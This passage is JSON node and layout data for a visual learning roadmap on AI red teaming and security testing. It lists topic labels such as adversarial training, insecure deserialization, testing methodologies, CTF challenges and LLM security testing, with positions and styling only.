\"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Adversarial Training\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nD0_64ELEeJSN-0aZiR7i\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 219, \"height\": 49 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"focusable\": true,\n      \"width\": 234,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"6gEHMhh6BGJI-ZYN27YPW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 941.8352736219604 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Robust Model Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xjlttOti-_laPRn8a2fVy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 53,\n      \"style\": { \"width\": 219, \"height\": 53 },\n      \"measured\": { \"width\": 234, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AMtXkS3wOqxPGf9ib6bi8\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -568.9572811083598, \"y\": 1054.720600259044 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Defense Strategies\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"lhY7I24au9B1b7Wzr-6jR\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 164, \"height\": 38 },\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"7Km0mFpHguHYPs5UhHTsM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 998.8352736219604 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Continuous Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iE5PcswBHnu_EBFIacib0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 53,\n      \"style\": { \"width\": 219, \"height\": 53 },\n      \"measured\": { \"width\": 234, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YpDr02T3XuKdDFcA44B4F\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -237.66916540260297, \"y\": 640.7270619394108 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"System Security\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"EQrDljYCypm5zlzVmXane\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 266, \"height\": 55 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 266,\n      \"height\": 55,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"aKzai0A8J55-OBXTnQih1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 820.7530873990016 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Insecure Deserialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JQ3bR8odXJfd-1RCEf3-Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 235, \"height\": 49 }\n    },\n    {\n      \"id\": \"kgDsDlBk8W2aM6LyWpFY8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 873.7530873990016 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Remote Code Execution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"887lc3tWCRH-sOHSxWgWJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 235, \"height\": 49 }\n    },\n    {\n      \"id\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -231.66916540260297, \"y\": 930.7404921238303 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Infrastructure Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JDDG4KfhtIlw1rkNCzUli\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 254, \"height\": 49 }\n    },\n    {\n      \"id\": \"Tszl26iNBnQBdBEWOueDA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 984.3446560991081 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"API Protection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JQ3bR8odXJfd-1RCEf3-Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 235, \"height\": 49 }\n    },\n    {\n      \"id\": \"J7gjlt2MBx7lOkOnfGvPF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 1037.344656099108 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JQ3bR8odXJfd-1RCEf3-Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 235, \"height\": 49 }\n    },\n    {\n      \"id\": \"JQ3bR8odXJfd-1RCEf3-Q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 1090.344656099108 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 235, \"height\": 49 }\n    },\n    {\n      \"id\": \"ptbK6pLZbvotCcoaVOlhm\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 170.78058268338464, \"y\": 761.990589013835 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing Methodologies\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"YpDr02T3XuKdDFcA44B4F\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 256, \"height\": 55 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 256,\n      \"height\": 55,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"0bApnJTt-Z2IUf0X3OCYf\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.78058268338464, \"y\": 884.4864121198897 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Black Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"65Lo60JQS5YlvvQ6KevXt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": { \"width\": 214, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 214, \"height\": 49 }\n    },\n    {\n      \"id\": \"Mrk_js5UVn4dRDw-Yco3Y\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.78058268338464, \"y\": 937.4864121198897 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"White Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"65Lo60JQS5YlvvQ6KevXt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": { \"width\": 214, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 214, \"height\": 49 }\n    },\n    {\n      \"id\": \"ZVNAMCP68XKRXVxF2-hBc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.78058268338464, \"y\": 990.4864121198897 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Grey Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"65Lo60JQS5YlvvQ6KevXt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": { \"width\": 214, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 214, \"height\": 49 }\n    },\n    {\n      \"id\": \"LVdYN9hyCyNPYn2Lz1y9b\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.78058268338464, \"y\": 1043.4864121198898 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Automated vs Manual\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"65Lo60JQS5YlvvQ6KevXt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": { \"width\": 214, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 214, \"height\": 49 }\n    },\n    {\n      \"id\": \"65Lo60JQS5YlvvQ6KevXt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.78058268338464, \"y\": 1096.4864121198898 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continuous Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vhBu5x8INTtqvx6vcYAhE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": { \"width\": 214, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 214, \"height\": 49 }\n    },\n    {\n      \"id\": \"zB-hhiDU8BPXoDZXlqPyW\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 170.78058268338464, \"y\": 1203.4587419076465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tools and Frameworks\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"rpvQMyWGn7_7NzWOjBJCd\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 256, \"height\": 55 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 256,\n      \"height\": 55,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"c8n8FcYKDOgPLQvV9xF5J\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 187.28058268338464, \"y\": 1320.8008552818792 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing Platforms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BLnfNlA0C4yzy1dvifjwx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"59lkLcoqV4gq7f8Zm0X2p\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 187.28058268338464, \"y\": 1373.8008552818792 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitoring Solutions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BLnfNlA0C4yzy1dvifjwx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"et1Xrr8ez-fmB0mAq8W_a\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 187.28058268338464, \"y\": 1426.8008552818792 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Benchmark Datasets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BLnfNlA0C4yzy1dvifjwx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"C1zO2xC0AqyV53p2YEPWg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 187.28058268338464, \"y\": 1479.8008552818792 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Custom Testing Scripts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BLnfNlA0C4yzy1dvifjwx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"BLnfNlA0C4yzy1dvifjwx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 187.28058268338464, \"y\": 1532.8008552818792 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reporting Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"65Lo60JQS5YlvvQ6KevXt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"yraH8ID6eALCTPZnrjxH9\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -253.16916540260297, \"y\": 1203.4587419076465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Professional Development\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"rpvQMyWGn7_7NzWOjBJCd\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 297, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 297,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"s1xKK8HL5-QGZpcutiuvj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1622.4625843997128 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Specialized Courses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HHjsFR6wRDqUd66PMDE_7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53\n    },\n    {\n      \"id\": \"HHjsFR6wRDqUd66PMDE_7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1680.3574706784932 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Industry Credentials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"kQ9ireRCosbBw2M91hP9Y\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -542.5708359378116, \"y\": 1738.2523569572736 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Certifications\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 117, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MmwwRK4I9aRH_ha7duPqf\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1390.8622737963847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lab Environments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s1xKK8HL5-QGZpcutiuvj\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53\n    },\n    {\n      \"id\": \"2Imb64Px3ZQcBpSQjdc_G\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1447.8622737963847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CTF Challenges\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DpYsL0du37n40toH33fIr\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"T8QzRM83aE3vOvU_ot8Zm\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -571.5708359378116, \"y\": 1568.4109462086944 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Practical Experience\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"kQ9ireRCosbBw2M91hP9Y\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 175, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"DpYsL0du37n40toH33fIr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1504.8622737963847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Red Team Simulations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HHjsFR6wRDqUd66PMDE_7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"D84bHT-mLU1digq0_7nn_\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -611.5708359378116, \"y\": 1142.4868717628697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"jyFzaSxCTk4-SkVtAqXDV\"\n      },\n      \"zIndex\": -999,\n      \"width\": 255,\n      \"height\": 236,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 255, \"height\": 236 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"LuKnmd9nSz9yLbTU_5Yp2\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1154.538662757303 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Conferences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MmwwRK4I9aRH_ha7duPqf\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53\n    },\n    {\n      \"id\": \"ZlR03pM-sqVFZNhD1gMSJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1211.538662757303 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Research Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2Imb64Px3ZQcBpSQjdc_G\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ngi9yk6_ZTUOr90b2KSZD\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -586.0708359378116, \"y\": 1332.0873351696127 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Community Engagement\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"T8QzRM83aE3vOvU_ot8Zm\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 204, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Smncq-n1OlnLAY27AFQOO\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.0708359378116, \"y\": 1268.538662757303 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Forums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DpYsL0du37n40toH33fIr\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 230,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"rFMsUHR6bP0t9KqZxHtrE\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -356.0708359378116, \"y\": 1219.9587419076465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 113, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"rpvQMyWGn7_7NzWOjBJCd\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -253.16916540260297, \"y\": 1321.8008552818792 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Real-world Applications\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"ptbK6pLZbvotCcoaVOlhm\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 297, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 297,\n      \"height\": 53,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"xJYTRbPxMn0Xs5ea0Ygn6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -219.66916540260297, \"y\": 1431.828358913156 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LLM Security Testing\",\n        \"style\": {\n          